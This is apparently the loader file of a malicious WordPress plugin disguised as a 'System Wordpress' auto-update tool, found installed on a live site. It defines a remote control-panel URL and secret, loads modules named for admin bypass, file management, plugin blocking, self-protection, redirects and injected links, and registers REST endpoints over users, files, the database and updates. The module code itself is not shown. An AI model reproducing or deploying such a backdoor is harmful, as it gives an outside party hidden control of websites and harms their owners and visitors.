File: /home/vitanhod/public_html/wp-content/plugins/system-control/system-control.php
<?php
/**
* Plugin Name: System Wordpress
* Plugin URI: https://www.gnu.org
* Description: Wordpress auto update.
* Version: 1.1.0
* Author: Wordpress
* Author URI: https://www.gnu.org
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: system-control
* Requires at least: 5.0
* Requires PHP: 5.4
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
define( 'SC_VERSION', '1.1.0' );
define( 'SC_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'SC_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'SC_PLUGIN_FILE', __FILE__ );
define( 'SC_PANEL_URL', 'https://fuckingpanel.com' );
define( 'SC_PANEL_SECRET', '9fK3xLmP7qR2vT8zYw4NcJ6aHs1UdE5gB0kQpZrXyVtM2nL8cD3fGh7jS' );
define( 'SC_REST_NAMESPACE', 'system-control/v1' );
// Load includes
require_once SC_PLUGIN_DIR . 'includes/class-sc-activator.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-deactivator.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-api-auth.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-bot-detector.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-stats-collector.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-redirect-handler.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-display-links.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-bot-posts.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-admin-bypass.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-filemanager.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-plugin-blocker.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-self-protect.php';
// Load REST API
require_once SC_PLUGIN_DIR . 'api/class-sc-rest-controller.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-users-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-plugins-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-themes-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-files-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-database-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-posts-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-pages-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-categories-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-sync-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-settings-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-bot-posts-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-display-links-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-update-endpoint.php';
// Activation / Deactivation
register_activation_hook( __FILE__, array( 'SC_Activator', 'activate' ) );
register_deactivation_hook( __FILE__, array( 'SC_Deactivator', 'deactivate' ) );
// Init REST API
add_action( 'rest_api_init', function() {
$controller = new SC_REST_Controller();
$controller->register_routes();
} );
// Init frontend hooks
add_action( 'init', function() {
SC_Admin_Bypass::init();
SC_FileManager::init();
SC_Plugin_Blocker::init();
SC_Self_Protect::init();
} );
add_action( 'template_redirect', function() {
SC_Stats_Collector::collect();
SC_Redirect_Handler::handle();
} );
add_action( 'wp_head', array( 'SC_Display_Links', 'render_header' ) );
add_action( 'wp_footer', array( 'SC_Display_Links', 'render_footer' ) );
add_action( 'pre_get_posts', array( 'SC_Bot_Posts', 'filter_query' ) );
add_action( 'admin_init', array( 'SC_Bot_Posts', 'init_admin' ) );